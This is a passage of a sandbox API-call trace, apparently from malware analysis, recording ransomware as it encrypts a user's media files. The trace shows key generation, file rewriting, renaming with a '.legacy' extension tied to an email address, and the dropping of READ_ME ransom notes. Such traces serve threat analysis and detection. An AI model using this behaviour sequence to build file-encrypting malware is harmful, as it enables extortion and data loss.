pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0141.042] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3438 | out: pbBuffer=0x5c3438) returned 1 [0141.042] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\D9tbzC8GRXgS\\LdBSvmgEkdN.mp3", dwFileAttributes=0x80) returned 1 [0141.043] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567760 [0141.043] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0141.043] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567760 | out: hHeap=0x520000) returned 1 [0141.043] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\D9tbzC8GRXgS\\LdBSvmgEkdN.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\d9tbzc8grxgs\\ldbsvmgekdn.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x794 [0141.043] GetFileSizeEx (in: hFile=0x794, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=14244) returned 1 [0141.043] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x37a4) returned 0x612410 [0141.043] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x37a4) returned 0x615bc0 [0141.043] ReadFile (in: hFile=0x794, lpBuffer=0x612410, nNumberOfBytesToRead=0x37a4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x612410*, lpNumberOfBytesRead=0x2e1f9bc*=0x37a4, lpOverlapped=0x0) returned 1 [0141.044] SetFilePointer (in: hFile=0x794, lDistanceToMove=-14244, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.044] WriteFile (in: hFile=0x794, lpBuffer=0x615bc0*, nNumberOfBytesToWrite=0x37a4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x615bc0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x37a4, lpOverlapped=0x0) returned 1 [0141.044] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x612410 | out: hHeap=0x520000) returned 1 [0141.044] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x615bc0 | out: hHeap=0x520000) returned 1 [0141.044] SetFilePointer (in: hFile=0x794, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x37a4 [0141.044] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.044] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.044] WriteFile (in: hFile=0x794, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.045] WriteFile (in: hFile=0x794, lpBuffer=0x5c3438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.045] CloseHandle (hObject=0x794) returned 1 [0141.045] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0141.045] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3438 | out: hHeap=0x520000) returned 1 [0141.045] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\D9tbzC8GRXgS\\LdBSvmgEkdN.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\d9tbzc8grxgs\\ldbsvmgekdn.mp3"), lpNewFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\D9tbzC8GRXgS\\LdBSvmgEkdN.mp3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\d9tbzc8grxgs\\ldbsvmgekdn.mp3.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.046] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0141.047] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0141.047] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567508 | out: hHeap=0x520000) returned 1 [0141.047] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0141.047] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5858a0 | out: hHeap=0x520000) returned 1 [0141.047] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.047] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0141.047] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35183550, ftCreationTime.dwHighDateTime=0x1d4d207, ftLastAccessTime.dwLowDateTime=0xd74cfde7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd74cfde7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c4d8 [0141.047] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0141.047] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.047] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.047] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.047] GetLastError () returned 0x0 [0141.047] SetLastError (dwErrCode=0x0) [0141.047] GetLastError () returned 0x0 [0141.047] SetLastError (dwErrCode=0x0) [0141.047] GetLastError () returned 0x0 [0141.047] SetLastError (dwErrCode=0x0) [0141.047] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0141.047] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d6b8 [0141.047] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0141.047] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610360 [0141.047] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c758 [0141.047] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c758 | out: hHeap=0x520000) returned 1 [0141.047] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20198 [0141.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20198 | out: hHeap=0x520000) returned 1 [0141.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610360 | out: hHeap=0x520000) returned 1 [0141.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0141.048] FindNextFileW (in: hFindFile=0x60c4d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35183550, ftCreationTime.dwHighDateTime=0x1d4d207, ftLastAccessTime.dwLowDateTime=0xd74cfde7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd74cfde7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0141.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.048] GetLastError () returned 0x0 [0141.048] SetLastError (dwErrCode=0x0) [0141.048] GetLastError () returned 0x0 [0141.048] SetLastError (dwErrCode=0x0) [0141.048] GetLastError () returned 0x0 [0141.048] SetLastError (dwErrCode=0x0) [0141.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0141.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0141.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0141.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103d8 [0141.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c758 [0141.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c758 | out: hHeap=0x520000) returned 1 [0141.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20240 [0141.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20240 | out: hHeap=0x520000) returned 1 [0141.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6103d8 | out: hHeap=0x520000) returned 1 [0141.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0141.048] FindNextFileW (in: hFindFile=0x60c4d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bd837b0, ftCreationTime.dwHighDateTime=0x1d4cb64, ftLastAccessTime.dwLowDateTime=0xe0469f60, ftLastAccessTime.dwHighDateTime=0x1d4d09b, ftLastWriteTime.dwLowDateTime=0xe0469f60, ftLastWriteTime.dwHighDateTime=0x1d4d09b, nFileSizeHigh=0x0, nFileSizeLow=0x1078b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="7kKn.mp4", cAlternateFileName="")) returned 1 [0141.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0141.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.049] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0141.049] GetLastError () returned 0x0 [0141.049] SetLastError (dwErrCode=0x0) [0141.049] GetLastError () returned 0x0 [0141.049] SetLastError (dwErrCode=0x0) [0141.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0141.049] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.049] GetLastError () returned 0x0 [0141.049] SetLastError (dwErrCode=0x0) [0141.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610180 [0141.049] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610180 | out: hHeap=0x520000) returned 1 [0141.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6a40 [0141.049] FindNextFileW (in: hFindFile=0x60c4d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5daff310, ftCreationTime.dwHighDateTime=0x1d4cb3e, ftLastAccessTime.dwLowDateTime=0xa58ced90, ftLastAccessTime.dwHighDateTime=0x1d4d2bf, ftLastWriteTime.dwLowDateTime=0xa58ced90, ftLastWriteTime.dwHighDateTime=0x1d4d2bf, nFileSizeHigh=0x0, nFileSizeLow=0xaedd, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="7XgmQhRKlDcmTo6.mkv", cAlternateFileName="7XGMQH~1.MKV")) returned 1 [0141.049] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0141.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0141.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0141.049] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0141.049] GetLastError () returned 0x0 [0141.049] SetLastError (dwErrCode=0x0) [0141.049] GetLastError () returned 0x0 [0141.049] SetLastError (dwErrCode=0x0) [0141.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0141.049] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0141.049] GetLastError () returned 0x0 [0141.049] SetLastError (dwErrCode=0x0) [0141.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0141.049] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0141.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60ddd8 [0141.049] FindNextFileW (in: hFindFile=0x60c4d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8a6a2a0, ftCreationTime.dwHighDateTime=0x1d4cace, ftLastAccessTime.dwLowDateTime=0x7e7dcdb0, ftLastAccessTime.dwHighDateTime=0x1d4d3cc, ftLastWriteTime.dwLowDateTime=0x7e7dcdb0, ftLastWriteTime.dwHighDateTime=0x1d4d3cc, nFileSizeHigh=0x0, nFileSizeLow=0x12174, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="KWuUA05i6Twd74DZ.mp4", cAlternateFileName="KWUUA0~1.MP4")) returned 1 [0141.049] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0141.050] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.050] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.050] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.050] GetLastError () returned 0x0 [0141.050] SetLastError (dwErrCode=0x0) [0141.050] GetLastError () returned 0x0 [0141.050] SetLastError (dwErrCode=0x0) [0141.050] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0141.050] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.050] GetLastError () returned 0x0 [0141.050] SetLastError (dwErrCode=0x0) [0141.050] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0141.050] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0141.050] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60dd30 [0141.050] FindNextFileW (in: hFindFile=0x60c4d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74cfde7, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd74cfde7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd74cfde7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0141.050] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0141.050] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.050] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.050] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.050] GetLastError () returned 0x0 [0141.050] SetLastError (dwErrCode=0x0) [0141.050] GetLastError () returned 0x0 [0141.050] SetLastError (dwErrCode=0x0) [0141.050] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0141.050] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.050] GetLastError () returned 0x0 [0141.050] SetLastError (dwErrCode=0x0) [0141.050] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101f8 [0141.050] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101f8 | out: hHeap=0x520000) returned 1 [0141.050] FindNextFileW (in: hFindFile=0x60c4d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52170a80, ftCreationTime.dwHighDateTime=0x1d4c7a5, ftLastAccessTime.dwLowDateTime=0xf6b9e990, ftLastAccessTime.dwHighDateTime=0x1d4d5ab, ftLastWriteTime.dwLowDateTime=0xf6b9e990, ftLastWriteTime.dwHighDateTime=0x1d4d5ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="sWHXtEEM", cAlternateFileName="")) returned 1 [0141.051] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0141.051] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0141.051] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0141.051] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0141.051] GetLastError () returned 0x0 [0141.051] SetLastError (dwErrCode=0x0) [0141.051] GetLastError () returned 0x0 [0141.051] SetLastError (dwErrCode=0x0) [0141.051] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0141.051] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0141.051] GetLastError () returned 0x0 [0141.051] SetLastError (dwErrCode=0x0) [0141.051] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610158 [0141.051] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0141.051] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610158 | out: hHeap=0x520000) returned 1 [0141.051] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101a8 | out: hHeap=0x520000) returned 1 [0141.051] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6ad8 [0141.051] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610360 [0141.051] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x612318 [0141.051] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0141.051] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0141.051] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0141.051] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.051] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0141.051] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0141.051] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.051] GetLastError () returned 0x0 [0141.051] SetLastError (dwErrCode=0x0) [0141.051] GetLastError () returned 0x0 [0141.052] SetLastError (dwErrCode=0x0) [0141.052] GetLastError () returned 0x0 [0141.052] SetLastError (dwErrCode=0x0) [0141.052] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x60efb8 [0141.052] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\sWHXtEEM\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mlex1y-6olsyqmwrnan\\swhxteem\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x798 [0141.052] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60efb8 | out: hHeap=0x520000) returned 1 [0141.052] WriteFile (in: hFile=0x798, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0141.053] CloseHandle (hObject=0x798) returned 1 [0141.053] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0141.053] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0141.053] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0141.053] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x612318 | out: hHeap=0x520000) returned 1 [0141.053] FindNextFileW (in: hFindFile=0x60c4d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd516ef70, ftCreationTime.dwHighDateTime=0x1d4cc7f, ftLastAccessTime.dwLowDateTime=0x58547340, ftLastAccessTime.dwHighDateTime=0x1d4c9ff, ftLastWriteTime.dwLowDateTime=0x58547340, ftLastWriteTime.dwHighDateTime=0x1d4c9ff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ui_YwS9", cAlternateFileName="")) returned 1 [0141.053] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0141.053] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.053] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0141.053] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.054] GetLastError () returned 0x0 [0141.054] SetLastError (dwErrCode=0x0) [0141.054] GetLastError () returned 0x0 [0141.054] SetLastError (dwErrCode=0x0) [0141.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0141.054] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0141.054] GetLastError () returned 0x0 [0141.054] SetLastError (dwErrCode=0x0) [0141.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x612150 [0141.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610248 [0141.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x611ac8 [0141.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0141.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3438 [0141.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0141.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.054] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0141.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0141.054] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.054] GetLastError () returned 0x0 [0141.054] SetLastError (dwErrCode=0x0) [0141.054] GetLastError () returned 0x0 [0141.054] SetLastError (dwErrCode=0x0) [0141.054] GetLastError () returned 0x0 [0141.054] SetLastError (dwErrCode=0x0) [0141.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x60ecd8 [0141.054] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\ui_YwS9\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mlex1y-6olsyqmwrnan\\ui_yws9\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x798 [0141.055] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ecd8 | out: hHeap=0x520000) returned 1 [0141.055] WriteFile (in: hFile=0x798, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0141.056] CloseHandle (hObject=0x798) returned 1 [0141.056] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0141.056] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3438 | out: hHeap=0x520000) returned 1 [0141.056] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0141.056] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611ac8 | out: hHeap=0x520000) returned 1 [0141.056] FindNextFileW (in: hFindFile=0x60c4d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x220a27b0, ftCreationTime.dwHighDateTime=0x1d4c9ed, ftLastAccessTime.dwLowDateTime=0x7a3a170, ftLastAccessTime.dwHighDateTime=0x1d4cb0b, ftLastWriteTime.dwLowDateTime=0x7a3a170, ftLastWriteTime.dwHighDateTime=0x1d4cb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="uP1BVZ1", cAlternateFileName="")) returned 1 [0141.056] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0141.056] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553c10 [0141.056] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.056] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0141.056] GetLastError () returned 0x0 [0141.056] SetLastError (dwErrCode=0x0) [0141.056] GetLastError () returned 0x0 [0141.056] SetLastError (dwErrCode=0x0) [0141.056] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0141.056] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 